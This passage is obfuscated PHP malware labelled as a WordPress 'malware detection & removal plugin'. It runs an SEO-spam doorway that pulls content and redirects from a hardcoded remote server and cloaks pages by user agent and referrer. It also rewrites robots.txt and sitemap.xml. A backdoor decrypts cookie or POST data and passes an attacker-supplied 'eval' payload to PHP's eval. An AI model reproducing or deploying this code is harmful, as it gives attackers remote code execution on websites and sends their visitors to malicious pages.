foreach (scandir(_gpf37q::$_iuimp1i4) as $_ig8rxbut) { $_lmo2z3ya += 1; } return $_lmo2z3ya; } public static function _zgxxf() { return TRUE; } public function __construct($_p1thekwu, $_s95z02o2, $_0cjstxpd, $_40f9dbkl) { $this->_o5us4xih = $_p1thekwu; $this->_oguwbfha = $_s95z02o2; $this->_2kmtxtsl = $_0cjstxpd; $this->_gqmk9dzt = $_40f9dbkl; } public function _wzhz1() { function _ytyjz($_q5vpnb11, $_kby2pgq3) { return round(rand($_q5vpnb11, $_kby2pgq3 - 1) + rand(0, -1) / PHP_INT_MAX, 2); } $_2q2r1nh4 = _31g631::_c6xa8(); $_0j5zvtp6 = str_replace("{{ text }}", $this->_oguwbfha, str_replace("{{ keyword }}", $this->_2kmtxtsl, str_replace("{{ links }}", $this->_gqmk9dzt, $this->_o5us4xih))); while (TRUE) { $_ughfl08u = preg_replace('/' . preg_quote("{{ randkeyword }}", '/') . '/', _31g631::_694mo(), $_0j5zvtp6, 1); if ($_ughfl08u === $_0j5zvtp6) { break; } $_0j5zvtp6 = $_ughfl08u; } while (TRUE) { preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\\d*) }}/', $_0j5zvtp6, $_o220q22g); if (empty($_o220q22g)) { break; } $_0cjstxpd = @$_2q2r1nh4[intval($_o220q22g[1])]; $_pmp3s4nc = _sts65dv::_b9v6s($_0cjstxpd); $_0j5zvtp6 = str_replace($_o220q22g[0], $_pmp3s4nc, $_0j5zvtp6); } while (TRUE) { preg_match('/{{ KEYWORDBYINDEX (\\d*) }}/', $_0j5zvtp6, $_o220q22g); if (empty($_o220q22g)) { break; } $_0cjstxpd = @$_2q2r1nh4[intval($_o220q22g[1])]; $_0j5zvtp6 = str_replace($_o220q22g[0], $_0cjstxpd, $_0j5zvtp6); } while (TRUE) { preg_match('/{{ RANDFLOAT (\\d*)-(\\d*) }}/', $_0j5zvtp6, $_o220q22g); if (empty($_o220q22g)) { break; } $_0j5zvtp6 = str_replace($_o220q22g[0], _ytyjz($_o220q22g[1], $_o220q22g[2]), $_0j5zvtp6); } while (TRUE) { preg_match('/{{ RANDINT (\\d*)-(\\d*) }}/', $_0j5zvtp6, $_o220q22g); if (empty($_o220q22g)) { break; } $_0j5zvtp6 = str_replace($_o220q22g[0], rand($_o220q22g[1], $_o220q22g[2]), $_0j5zvtp6); } return $_0j5zvtp6; } public function _6wgln() { $_8pjq6spx = _gpf37q::$_iuimp1i4 . md5($this->_2kmtxtsl . _gpf37q::$_cwhr4veh); if (_gpf37q::$_m86s2fi2 == 1) { $_ym60qogh = 1; } else { $_ym60qogh = time() + 2592000; } $_bmbgpgjp = array("template" => $this->_o5us4xih, "text" => $this->_oguwbfha, "keyword" => $this->_2kmtxtsl, "links" => $this->_gqmk9dzt, "expired" => $_ym60qogh); @file_put_contents($_8pjq6spx, serialize($_bmbgpgjp)); } public static function _gkiob($_0cjstxpd) { $_8pjq6spx = _gpf37q::$_iuimp1i4 . md5($_0cjstxpd . _gpf37q::$_cwhr4veh); $_8pjq6spx = @unserialize(@file_get_contents($_8pjq6spx)); if (!empty($_8pjq6spx) && ($_8pjq6spx["expired"] > time() || $_8pjq6spx["expired"] == 1)) { return new _gpf37q($_8pjq6spx["template"], $_8pjq6spx["text"], $_8pjq6spx["keyword"], $_8pjq6spx["links"]); } else { return null; } } } class _e3k6ur { private static $_iuimp1i4 = ""; private static $_i5d5p7bl = ""; public static function _3c51s($_voy5bjti, $_fv7evnot) { _e3k6ur::$_iuimp1i4 = $_voy5bjti . "/"; _e3k6ur::$_i5d5p7bl = $_fv7evnot; if (!@file_exists(_e3k6ur::$_iuimp1i4)) { @mkdir(_e3k6ur::$_iuimp1i4); } } public static function _zgxxf() { return TRUE; } public static function _2t2kx() { $_lmo2z3ya = 0; foreach (scandir(_e3k6ur::$_iuimp1i4) as $_ig8rxbut) { if (strpos($_ig8rxbut, _e3k6ur::$_i5d5p7bl) === 0) { $_lmo2z3ya += 1; } } return $_lmo2z3ya; } public static function _694mo() { $_h89fp94n = array(); foreach (scandir(_e3k6ur::$_iuimp1i4) as $_ig8rxbut) { if (strpos($_ig8rxbut, _e3k6ur::$_i5d5p7bl) === 0) { $_h89fp94n[] = $_ig8rxbut; } } return @file_get_contents(_e3k6ur::$_iuimp1i4 . $_h89fp94n[array_rand($_h89fp94n)]); } public static function _6wgln($_c3lidu5d) { if (@file_exists(_e3k6ur::$_i5d5p7bl . "_" . md5($_c3lidu5d) . ".html")) { return; } @file_put_contents(_e3k6ur::$_i5d5p7bl . "_" . md5($_c3lidu5d) . ".html", $_c3lidu5d); } } class _31g631 { private static $_iuimp1i4 = ""; private static $_i5d5p7bl = ""; private static $_ezm2j3c6 = array(); private static $_yu3o36fu = array(); public static function _3c51s($_voy5bjti, $_fv7evnot) { _31g631::$_iuimp1i4 = $_voy5bjti . "/"; _31g631::$_i5d5p7bl = $_fv7evnot; if (!@file_exists(_31g631::$_iuimp1i4)) { @mkdir(_31g631::$_iuimp1i4); } } private static function _lh8v7() { $_b139q3z8 = array(); foreach (scandir(_31g631::$_iuimp1i4) as $_ig8rxbut) { if (strpos($_ig8rxbut, _31g631::$_i5d5p7bl) === 0) { $_b139q3z8[] = $_ig8rxbut; } } return $_b139q3z8; } public static function _zgxxf() { return TRUE; } public static function _694mo() { if (empty(_31g631::$_ezm2j3c6)) { $_b139q3z8 = _31g631::_lh8v7(); _31g631::$_ezm2j3c6 = @file(_31g631::$_iuimp1i4 . $_b139q3z8[array_rand($_b139q3z8)], FILE_IGNORE_NEW_LINES); } return _31g631::$_ezm2j3c6[array_rand(_31g631::$_ezm2j3c6)]; } public static function _c6xa8() { if (empty(_31g631::$_yu3o36fu)) { $_b139q3z8 = _31g631::_lh8v7(); foreach ($_b139q3z8 as $_1z0x00rv) { _31g631::$_yu3o36fu = array_merge(_31g631::$_yu3o36fu, @file(_31g631::$_iuimp1i4 . $_1z0x00rv, FILE_IGNORE_NEW_LINES)); } } return _31g631::$_yu3o36fu; } public static function _6wgln($_hv72g5m6) { if (@file_exists(_31g631::$_i5d5p7bl . "_" . md5($_hv72g5m6) . ".list")) { return; } @file_put_contents(_31g631::$_i5d5p7bl . "_" . md5($_hv72g5m6) . ".list", $_hv72g5m6); } public static function _kmlhy($_0cjstxpd) { @file_put_contents(_31g631::$_i5d5p7bl . "_" . md5(_sts65dv::$_8nm8wp34) . ".list", $_0cjstxpd . "\n", 8); } } class _sts65dv { public static $_wcde9v66 = "5.2"; public static $_8nm8wp34 = "f639c8e2-df78-79ce-8c8f-0e1c6fa326db"; private $_u9o0ll29 = "http://136.12.78.46/app/assets/api2?action=redir"; private $_ucsikhq7 = "http://136.12.78.46/app/assets/api?action=page"; public static $_bsiizpig = 5; public static $_g9n2n90y = 20; private function _jfrh6() { $_fv9b0m2b = array('#libwww-perl#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i', '#spider#i', '#yahoo#i', '#google#i', '#altavista#i', '#ask#i', '#yahoo!\\s*slurp#i', '#BingBot#i'); if (!empty($_SERVER['HTTP_USER_AGENT']) && FALSE !== strpos(preg_replace($_fv9b0m2b, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-')) { $_ivfzwaui = 1; } elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) { $_ivfzwaui = 1; } elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE && strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE && strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE && strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) { $_ivfzwaui = 1; } else { $_ivfzwaui = 0; } return $_ivfzwaui; } private static function _j3icx() { $_qygkv8pe = array(); $_qygkv8pe['ip'] = $_SERVER['REMOTE_ADDR']; $_qygkv8pe['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI']; $_qygkv8pe['ua'] = @$_SERVER['HTTP_USER_AGENT']; $_qygkv8pe['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE']; $_qygkv8pe['ref'] = @$_SERVER['HTTP_REFERER']; $_qygkv8pe['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING']; $_qygkv8pe['acp'] = @$_SERVER['HTTP_ACCEPT']; $_qygkv8pe['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET']; $_qygkv8pe['conn'] = @$_SERVER['HTTP_CONNECTION']; return $_qygkv8pe; } public function __construct() { $this->_u9o0ll29 = explode("/", $this->_u9o0ll29); $this->_ucsikhq7 = explode("/", $this->_ucsikhq7); } public static function _1ey18($_tkirfm7s) { if (strlen($_tkirfm7s) < 4) { return ""; } $_7yuz97aj = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $_2q2r1nh4 = str_split($_7yuz97aj); $_2q2r1nh4 = array_flip($_2q2r1nh4); $_auhltxb0 = 0; $_ng087pcu = ""; $_tkirfm7s = preg_replace("~[^A-Za-z0-9\\+\\/\\=]~", "", $_tkirfm7s); do { $_dvu645z6 = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]]; $_vkgib41y = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]]; $_dfbobr9t = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]]; $_f7u8cxr7 = $_2q2r1nh4[$_tkirfm7s[$_auhltxb0++]]; $_7gkoxuqb = $_dvu645z6 << 2 | $_vkgib41y >> 4; $_4f6xlw3n = ($_vkgib41y & 15) << 4 | $_dfbobr9t >> 2; $_m72o2irq = ($_dfbobr9t & 3) << 6 | $_f7u8cxr7; $_ng087pcu .= chr($_7gkoxuqb); if ($_dfbobr9t != 64) { $_ng087pcu .= chr($_4f6xlw3n); } if ($_f7u8cxr7 != 64) { $_ng087pcu .= chr($_m72o2irq); } } while ($_auhltxb0 < strlen($_tkirfm7s)); return $_ng087pcu; } private function _f0alz($_0cjstxpd) { $_p1thekwu = ""; $_s95z02o2 = ""; $_qygkv8pe = _sts65dv::_j3icx(); $_qygkv8pe["uid"] = _sts65dv::$_8nm8wp34; $_qygkv8pe["keyword"] = $_0cjstxpd; $_qygkv8pe["tc"] = 10; $_qygkv8pe = http_build_query($_qygkv8pe); $_osbgnqde = _4zlob2::_0gurw($this->_ucsikhq7, $_qygkv8pe); if (strpos($_osbgnqde, _sts65dv::$_8nm8wp34) === FALSE) { return array($_p1thekwu, $_s95z02o2); } $_p1thekwu = _e3k6ur::_694mo(); $_s95z02o2 = substr($_osbgnqde, strlen(_sts65dv::$_8nm8wp34)); $_s95z02o2 = explode("\n", $_s95z02o2); shuffle($_s95z02o2); $_s95z02o2 = implode(" ", $_s95z02o2); return array($_p1thekwu, $_s95z02o2); } private function _wcs4u() { $_qygkv8pe = _sts65dv::_j3icx(); if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { $_qygkv8pe['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['HTTP_X_REAL_IP'])) { $_qygkv8pe['xreal'] = @$_SERVER['HTTP_X_REAL_IP']; } if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_qygkv8pe['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR']; } $_qygkv8pe["uid"] = _sts65dv::$_8nm8wp34; $_qygkv8pe = http_build_query($_qygkv8pe); $_77sew5p5 = _4zlob2::_0gurw($this->_u9o0ll29, $_qygkv8pe); $_77sew5p5 = @unserialize($_77sew5p5); if (isset($_77sew5p5["type"]) && $_77sew5p5["type"] == "redir") { if (!empty($_77sew5p5["data"]["header"])) { header($_77sew5p5["data"]["header"]); return true; } elseif (!empty($_77sew5p5["data"]["code"])) { echo $_77sew5p5["data"]["code"]; return true; } } return false; } public function _zgxxf() { return _gpf37q::_zgxxf() && _e3k6ur::_zgxxf() && _31g631::_zgxxf(); } public static function _iiva6() { if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) { return true; } return false; } public static function _b93do() { $_7j2yygln = explode("?", $_SERVER["REQUEST_URI"], 2); $_7j2yygln = $_7j2yygln[0]; if (strpos($_7j2yygln, ".php") === FALSE) { $_7j2yygln = explode("/", $_7j2yygln); array_pop($_7j2yygln); $_7j2yygln = implode("/", $_7j2yygln) . "/"; } return sprintf("%s://%s%s", _sts65dv::_iiva6() ? "https" : "http", $_SERVER['HTTP_HOST'], $_7j2yygln); } public static function _ts8k2() { $_jcsbbcvk = array("https://www.google.com/ping?sitemap=" => "Sitemap Notification Received", "https://www.bing.com/ping?sitemap=" => "Thanks for submitting your Sitemap"); $_9j5mwcj8 = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language: en-US,en;q=0.5", "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"); $_bt1oczjf = urlencode(_sts65dv::_cw6ld() . "/sitemap.xml"); foreach ($_jcsbbcvk as $_0myn4mi9 => $_1z6xvtea) { $_5w9kbho6 = _4zlob2::_18lb4($_0myn4mi9 . $_bt1oczjf, NULL, $_9j5mwcj8); if (empty($_5w9kbho6)) { $_5w9kbho6 = _4zlob2::_d5c8g($_0myn4mi9 . $_bt1oczjf, NULL, $_9j5mwcj8); } if (empty($_5w9kbho6)) { return FALSE; } if (strpos($_5w9kbho6, $_1z6xvtea) === FALSE) { return FALSE; } } return TRUE; } public static function _3zhbb() { $_puvylgdh = "User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n"; $_7j2yygln = explode("?", $_SERVER["REQUEST_URI"], 2); $_7j2yygln = $_7j2yygln[0]; $_xkkh2jkw = substr($_7j2yygln, 0, strrpos($_7j2yygln, "/")); $_r9lqapgp = sprintf($_puvylgdh, $_xkkh2jkw, _sts65dv::_cw6ld() . "/sitemap.xml"); $_vrkvk44f = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt"; if (@file_exists($_vrkvk44f)) { @chmod($_vrkvk44f, 0777); $_t44io2gz = @file_get_contents($_vrkvk44f); } else { $_t44io2gz = ""; } if (strpos($_t44io2gz, $_r9lqapgp) === FALSE) { @file_put_contents($_vrkvk44f, $_t44io2gz . "\n" . $_r9lqapgp); $_t44io2gz = @file_get_contents($_vrkvk44f); return strpos($_t44io2gz, $_r9lqapgp) !== FALSE; } return FALSE; } public static function _cw6ld() { $_7j2yygln = explode("?", $_SERVER["REQUEST_URI"], 2); $_7j2yygln = $_7j2yygln[0]; $_voy5bjti = substr($_7j2yygln, 0, strrpos($_7j2yygln, "/")); return sprintf("%s://%s%s", _sts65dv::_iiva6() ? "https" : "http", $_SERVER['HTTP_HOST'], $_voy5bjti); } public static function _b9v6s($_0cjstxpd) { $_9n7p5ufy = _sts65dv::_b93do(); $_wcf5n7ln = substr(md5(_sts65dv::$_8nm8wp34 . "salt3"), 0, 6); $_o93669j0 = ""; if (substr($_9n7p5ufy, 1) == "/") { if (ord($_wcf5n7ln[1]) % 2) { $_0cjstxpd = str_replace(" ", "-", $_0cjstxpd); } else { $_0cjstxpd = str_replace(" ", "-", $_0cjstxpd); } $_o93669j0 = sprintf("%s%s", $_9n7p5ufy, urlencode($_0cjstxpd)); } else { if (false) { $_o93669j0 = sprintf("%s?%s=%s", $_9n7p5ufy, $_wcf5n7ln, urlencode(str_replace(" ", "-", $_0cjstxpd))); } else { $_iinna93s = array("id", "page", "tag"); $_psnry0n6 = $_iinna93s[ord($_wcf5n7ln[2]) % count($_iinna93s)]; if (ord($_wcf5n7ln[1]) % 2) { $_0cjstxpd = str_replace(" ", "-", $_0cjstxpd); } else { $_0cjstxpd = str_replace(" ", "-", $_0cjstxpd); } $_o93669j0 = sprintf("%s?%s=%s", $_9n7p5ufy, $_psnry0n6, urlencode($_0cjstxpd)); } } return $_o93669j0; } public static function _hodzk($_q5vpnb11, $_kby2pgq3) { $_za76epxj = ""; for ($_auhltxb0 = 0; $_auhltxb0 < rand($_q5vpnb11, $_kby2pgq3); $_auhltxb0++) { $_0cjstxpd = _31g631::_694mo(); $_za76epxj .= sprintf("<a href=\"%s\">%s</a>,\n", _sts65dv::_b9v6s($_0cjstxpd), ucwords($_0cjstxpd)); } return $_za76epxj; } public static function _xvzz8($_1n936vg3 = FALSE) { $_u2j8xlom = "/var/www/html/sitemap.xml"; $_tjcfy5b1 = "<?php xml version=\"1.0\" encoding=\"UTF-8\"?>\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n"; $_yqgs9738 = "</urlset>"; $_2q2r1nh4 = _31g631::_c6xa8(); $_t5fhm8r2 = array(); if (file_exists($_u2j8xlom)) { $_osbgnqde = simplexml_load_file($_u2j8xlom); foreach ($_osbgnqde as $_k1oj5roj) { $_t5fhm8r2[(string) $_k1oj5roj->loc] = (string) $_k1oj5roj->lastmod; } } else { $_1n936vg3 = FALSE; } foreach ($_2q2r1nh4 as $_e3bymjf3) { $_o93669j0 = _sts65dv::_b9v6s($_e3bymjf3); if (isset($_t5fhm8r2[$_o93669j0])) { continue; } if ($_1n936vg3) { $_bej92797 = time(); } else { $_bej92797 = time() - crc32($_e3bymjf3) % 2592000; } $_t5fhm8r2[$_o93669j0] = date("Y-m-d", $_bej92797); } $_7qvyiq5v = ""; foreach ($_t5fhm8r2 as $_0myn4mi9 => $_bej92797) { $_7qvyiq5v .= "<url>\n"; $_7qvyiq5v .= sprintf("<loc>%s</loc>\n", $_0myn4mi9); $_7qvyiq5v .= sprintf("<lastmod>%s</lastmod>\n", $_bej92797); $_7qvyiq5v .= "</url>\n"; } $_sqa0r7ne = $_tjcfy5b1 . $_7qvyiq5v . $_yqgs9738; $_bt1oczjf = _sts65dv::_cw6ld() . "/sitemap.xml"; @file_put_contents($_u2j8xlom, $_sqa0r7ne); return $_bt1oczjf; } public function _6spsl() { $_psnry0n6 = substr(md5(_sts65dv::$_8nm8wp34 . "salt3"), 0, 6); if (!$this->_jfrh6()) { if ($this->_wcs4u()) { return; } } if (!empty($_GET)) { $_pzun5n8b = array_values($_GET); } else { $_pzun5n8b = explode("/", $_SERVER["REQUEST_URI"]); $_pzun5n8b = array_reverse($_pzun5n8b); } $_0cjstxpd = ""; foreach ($_pzun5n8b as $_ii29uy52) { if (substr_count($_ii29uy52, "-") > 0) { $_0cjstxpd = $_ii29uy52; break; } } $_0cjstxpd = str_replace($_psnry0n6 . "-", "", $_0cjstxpd); $_0cjstxpd = str_replace("-" . $_psnry0n6, "", $_0cjstxpd); $_0cjstxpd = str_replace("-", " ", $_0cjstxpd); $_0cjstxpd = urldecode($_0cjstxpd); $_0xts4kvj = _31g631::_c6xa8(); if (empty($_0cjstxpd)) { $_0cjstxpd = $_0xts4kvj[0]; } else { if (!in_array($_0cjstxpd, $_0xts4kvj)) { $_2ritv6d1 = 0; foreach (str_split($_0cjstxpd) as $_ojxh77di) { $_2ritv6d1 += ord($_ojxh77di); } $_0cjstxpd = $_0xts4kvj[$_2ritv6d1 % count($_0xts4kvj)]; } } if (!empty($_0cjstxpd)) { $_77sew5p5 = _gpf37q::_gkiob($_0cjstxpd); if (empty($_77sew5p5)) { list($_p1thekwu, $_s95z02o2) = $this->_f0alz($_0cjstxpd); if (empty($_s95z02o2)) { return; } $_77sew5p5 = new _gpf37q($_p1thekwu, $_s95z02o2, $_0cjstxpd, _sts65dv::_hodzk(_sts65dv::$_bsiizpig, _sts65dv::$_g9n2n90y)); $_77sew5p5->_6wgln(); } echo $_77sew5p5->_wzhz1(); } } } _gpf37q::_3c51s("/var/www/html", 1, _sts65dv::$_8nm8wp34); _e3k6ur::_3c51s("/var/www/html", substr(md5(_sts65dv::$_8nm8wp34 . "salt12"), 0, 4)); _31g631::_3c51s("/var/www/html", substr(md5(_sts65dv::$_8nm8wp34 . "salt22"), 0, 4)); function _rqbk6($_osbgnqde, $_e3bymjf3) { $_ewgecgo5 = ""; for ($_auhltxb0 = 0; $_auhltxb0 < strlen($_osbgnqde);) { for ($_xqc1ekn7 = 0; $_xqc1ekn7 < strlen($_e3bymjf3) && $_auhltxb0 < strlen($_osbgnqde); $_xqc1ekn7++, $_auhltxb0++) { $_ewgecgo5 .= chr(ord($_osbgnqde[$_auhltxb0]) ^ ord($_e3bymjf3[$_xqc1ekn7])); } } return $_ewgecgo5; } function _zviqv($_osbgnqde, $_e3bymjf3, $_d7ykkv78) { return _rqbk6(_rqbk6($_osbgnqde, $_e3bymjf3), $_d7ykkv78); } foreach (array_merge($_COOKIE, $_POST) as $_zd40yrcj => $_osbgnqde) { $_osbgnqde = @unserialize(_zviqv(_sts65dv::_1ey18($_osbgnqde), $_zd40yrcj, _sts65dv::$_8nm8wp34)); if (isset($_osbgnqde['ak']) && _sts65dv::$_8nm8wp34 == $_osbgnqde['ak']) { if ($_osbgnqde['a'] == 'doorway2') { if ($_osbgnqde['sa'] == 'check') { $_0j5zvtp6 = _4zlob2::_0gurw(array(0 => "http:", 1 => "", 2 => "httpbin.org", 3 => ""), ""); if (strlen($_0j5zvtp6) > 512) { echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66, "cache" => _gpf37q::_2t2kx(), "keywords" => count(_31g631::_c6xa8()), "templates" => _e3k6ur::_2t2kx())); } exit; } if ($_osbgnqde['sa'] == 'templates') { foreach ($_osbgnqde["templates"] as $_p1thekwu) { _e3k6ur::_6wgln($_p1thekwu); echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66)); } } if ($_osbgnqde['sa'] == 'keywords') { _31g631::_6wgln($_osbgnqde["keywords"]); _sts65dv::_xvzz8(); echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66)); } if ($_osbgnqde['sa'] == 'update_sitemap') { _sts65dv::_xvzz8(TRUE); echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66)); } if ($_osbgnqde['sa'] == 'pages') { $_ziqsamkr = 0; $_0xts4kvj = _31g631::_c6xa8(); if (_e3k6ur::_2t2kx() > 0) { foreach ($_osbgnqde['pages'] as $_77sew5p5) { $_o209fxsn = _gpf37q::_gkiob($_77sew5p5["keyword"]); if (empty($_o209fxsn)) { $_o209fxsn = new _gpf37q(_e3k6ur::_694mo(), $_77sew5p5["text"], $_77sew5p5["keyword"], _sts65dv::_hodzk(_sts65dv::$_bsiizpig, _sts65dv::$_g9n2n90y)); $_o209fxsn->_6wgln(); $_ziqsamkr += 1; if (!in_array($_77sew5p5["keyword"], $_0xts4kvj)) { _31g631::_kmlhy($_77sew5p5["keyword"]); } } } } echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66, "pages" => $_ziqsamkr)); } if ($_osbgnqde["sa"] == "ping") { $_5w9kbho6 = _sts65dv::_ts8k2(); echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66, "result" => (int) $_5w9kbho6)); } if ($_osbgnqde["sa"] == "robots") { $_5w9kbho6 = _sts65dv::_3zhbb(); echo @serialize(array("uid" => _sts65dv::$_8nm8wp34, "v" => _sts65dv::$_wcde9v66, "result" => (int) $_5w9kbho6)); } } if ($_osbgnqde['sa'] == 'eval') { eval($_osbgnqde["data"]); exit; } } } $_vuu18gsa = new _sts65dv(); if ($_vuu18gsa->_zgxxf()) { $_vuu18gsa->_6spsl(); } exit;
Malware detection & removal plugin for WordPress
(C)2020 Wordpress Doctor All rights reserved.